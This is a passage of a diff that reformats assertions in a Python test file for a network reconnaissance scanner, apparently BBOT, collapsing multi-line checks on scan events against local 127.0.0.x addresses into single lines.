e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False @@ -1055,404 +374,73 @@ def custom_setup(scan): # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by http module to generate the URL. it was graph-important. # now for whatever reason, http module is visiting the url directly and the open port isn't being used # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. - assert 1 == len( - [ - e - for e in events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len( - [ - e - for e in events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert len(all_events) == 18 - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.77:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.88:8888/" - and e.internal is True - and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) assert len(all_events_nodups) == 16 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - and "spider-danger" in e.tags - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.77:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.88:8888/" - and e.internal is True - and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 8 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"] - ) - assert 0 == len( - [ - e - for e in _graph_output_events - if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 0 == len( - [ - e - for e in _graph_output_events - if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"] - ) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"]) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -1469,475 +457,81 @@ def custom_setup(scan): ) assert len(events) == 8 - assert 1 == len( - [ - e - for e in events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len( - [ - e - for e in events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert len(all_events) == 22 - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - and "spider-danger" in e.tags - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.77:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.88:8888/" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.88:8888" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.88:8888/" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.99:8888/" - and e.internal is True - and e.scope_distance == 3 - ] - ) + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) assert len(all_events_nodups) == 20 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - and "spider-danger" in e.tags - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.77:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.88:8888/" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.88:8888" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["url"] == "http://127.0.0.88:8888/" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.99:8888/" - and 